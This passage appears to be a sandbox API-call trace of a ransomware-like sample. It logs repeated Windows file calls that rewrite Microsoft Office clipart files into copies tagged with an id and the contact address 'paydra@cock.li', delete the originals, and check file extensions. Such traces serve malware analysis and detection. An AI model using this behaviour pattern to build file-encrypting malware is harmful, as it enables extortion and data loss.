lpNumberOfBytesWritten=0x229fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0052.458] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.458] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.459] SetEndOfFile (hFile=0x210) returned 1 [0052.459] CloseHandle (hObject=0x210) returned 1 [0052.459] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.459] SetEndOfFile (hFile=0x20c) returned 1 [0052.459] CloseHandle (hObject=0x20c) returned 1 [0052.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0052.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0052.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0052.603] lstrlenW (lpString=".doc") returned 4 [0052.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.603] lstrlenW (lpString=".docx") returned 5 [0052.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.603] lstrlenW (lpString=".pdf") returned 4 [0052.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.608] lstrlenW (lpString=".xls") returned 4 [0052.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.620] lstrlenW (lpString=".xlsx") returned 5 [0052.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.620] lstrlenW (lpString=".ppt") returned 4 [0052.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0052.620] lstrlenW (lpString=".zip") returned 4 [0052.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.626] lstrlenW (lpString=".rar") returned 4 [0052.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.626] lstrlenW (lpString=".bz2") returned 4 [0052.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.631] lstrlenW (lpString=".7z") returned 3 [0052.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0052.632] lstrlenW (lpString=".dbf") returned 4 [0052.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0052.632] lstrlenW (lpString=".1cd") returned 4 [0052.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0052.634] lstrlenW (lpString=".jpg") returned 4 [0052.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.634] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.634] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.635] GetLastError () returned 0x0 [0052.635] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x7e0, lpOverlapped=0x0) returned 1 [0052.824] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0052.842] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.843] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.845] SetEndOfFile (hFile=0x19c) returned 1 [0052.850] CloseHandle (hObject=0x19c) returned 1 [0052.854] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.855] SetEndOfFile (hFile=0x190) returned 1 [0052.873] CloseHandle (hObject=0x190) returned 1 [0052.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0052.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0052.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0052.892] lstrlenW (lpString=".doc") returned 4 [0052.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.893] lstrlenW (lpString=".docx") returned 5 [0052.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.896] lstrlenW (lpString=".pdf") returned 4 [0052.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.897] lstrlenW (lpString=".xls") returned 4 [0052.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.899] lstrlenW (lpString=".xlsx") returned 5 [0052.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.900] lstrlenW (lpString=".ppt") returned 4 [0052.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0052.904] lstrlenW (lpString=".zip") returned 4 [0052.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.905] lstrlenW (lpString=".rar") returned 4 [0052.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.906] lstrlenW (lpString=".bz2") returned 4 [0052.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.906] lstrlenW (lpString=".7z") returned 3 [0052.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0052.907] lstrlenW (lpString=".dbf") returned 4 [0052.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0052.909] lstrlenW (lpString=".1cd") returned 4 [0052.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 63 [0052.911] lstrlenW (lpString=".jpg") returned 4 [0052.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.918] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.919] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.927] GetLastError () returned 0x0 [0052.927] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xd14, lpOverlapped=0x0) returned 1 [0052.943] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0052.964] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.965] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.966] SetEndOfFile (hFile=0x19c) returned 1 [0052.968] CloseHandle (hObject=0x19c) returned 1 [0052.972] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.974] SetEndOfFile (hFile=0x190) returned 1 [0052.991] CloseHandle (hObject=0x190) returned 1 [0052.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0053.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0053.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0053.018] lstrlenW (lpString=".doc") returned 4 [0053.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.018] lstrlenW (lpString=".docx") returned 5 [0053.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.019] lstrlenW (lpString=".pdf") returned 4 [0053.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.021] lstrlenW (lpString=".xls") returned 4 [0053.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.022] lstrlenW (lpString=".xlsx") returned 5 [0053.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.024] lstrlenW (lpString=".ppt") returned 4 [0053.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0053.025] lstrlenW (lpString=".zip") returned 4 [0053.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.026] lstrlenW (lpString=".rar") returned 4 [0053.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.027] lstrlenW (lpString=".bz2") returned 4 [0053.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.027] lstrlenW (lpString=".7z") returned 3 [0053.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0053.027] lstrlenW (lpString=".dbf") returned 4 [0053.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0053.027] lstrlenW (lpString=".1cd") returned 4 [0053.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0053.027] lstrlenW (lpString=".jpg") returned 4 [0053.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.043] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.043] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.044] GetLastError () returned 0x0 [0053.044] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x10c8, lpOverlapped=0x0) returned 1 [0053.045] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0053.046] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.047] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.047] SetEndOfFile (hFile=0x19c) returned 1 [0053.047] CloseHandle (hObject=0x19c) returned 1 [0053.047] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.047] SetEndOfFile (hFile=0x190) returned 1 [0053.048] CloseHandle (hObject=0x190) returned 1 [0053.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0053.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0053.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0053.048] lstrlenW (lpString=".doc") returned 4 [0053.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.048] lstrlenW (lpString=".docx") returned 5 [0053.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.049] lstrlenW (lpString=".pdf") returned 4 [0053.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.049] lstrlenW (lpString=".xls") returned 4 [0053.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.049] lstrlenW (lpString=".xlsx") returned 5 [0053.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.049] lstrlenW (lpString=".ppt") returned 4 [0053.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0053.049] lstrlenW (lpString=".zip") returned 4 [0053.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.049] lstrlenW (lpString=".rar") returned 4 [0053.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.049] lstrlenW (lpString=".bz2") returned 4 [0053.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.049] lstrlenW (lpString=".7z") returned 3 [0053.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0053.049] lstrlenW (lpString=".dbf") returned 4 [0053.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0053.049] lstrlenW (lpString=".1cd") returned 4 [0053.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0053.049] lstrlenW (lpString=".jpg") returned 4 [0053.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.050] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.050] GetLastError () returned 0x0 [0053.050] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xc9c, lpOverlapped=0x0) returned 1 [0053.052] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xca0, lpOverlapped=0x0) returned 1 [0053.053] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.053] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.053] SetEndOfFile (hFile=0x19c) returned 1 [0053.053] CloseHandle (hObject=0x19c) returned 1 [0053.053] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.053] SetEndOfFile (hFile=0x190) returned 1 [0053.054] CloseHandle (hObject=0x190) returned 1 [0053.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0053.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0053.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0053.054] lstrlenW (lpString=".doc") returned 4 [0053.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.054] lstrlenW (lpString=".docx") returned 5 [0053.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.054] lstrlenW (lpString=".pdf") returned 4 [0053.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.054] lstrlenW (lpString=".xls") returned 4 [0053.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.054] lstrlenW (lpString=".xlsx") returned 5 [0053.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.055] lstrlenW (lpString=".ppt") returned 4 [0053.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0053.055] lstrlenW (lpString=".zip") returned 4 [0053.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.055] lstrlenW (lpString=".rar") returned 4 [0053.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.055] lstrlenW (lpString=".bz2") returned 4 [0053.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.055] lstrlenW (lpString=".7z") returned 3 [0053.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0053.055] lstrlenW (lpString=".dbf") returned 4 [0053.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0053.055] lstrlenW (lpString=".1cd") returned 4 [0053.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0053.055] lstrlenW (lpString=".jpg") returned 4 [0053.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0053.056] GetLastError () returned 0x0 [0053.056] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0053.058] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0053.058] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.058] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.059] SetEndOfFile (hFile=0x19c) returned 1 [0053.059] CloseHandle (hObject=0x19c) returned 1 [0053.059] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.059] SetEndOfFile (hFile=0x190) returned 1 [0053.060] CloseHandle (hObject=0x190) returned 1 [0053.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0053.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0053.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0053.060] lstrlenW (lpString=".doc") returned 4 [0053.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.060] lstrlenW (lpString=".docx") returned 5 [0053.060] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.060] lstrlenW (lpString=".pdf") returned 4 [0053.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.060] lstrlenW (lpString=".xls") returned 4 [0053.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.060] lstrlenW (lpString=".xlsx") returned 5 [0053.060] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.060] lstrlenW (lpString=".ppt") returned 4 [0053.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0053.061] lstrlenW (lpString=".zip") returned 4 [0053.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.061] lstrlenW (lpString=".rar") returned 4 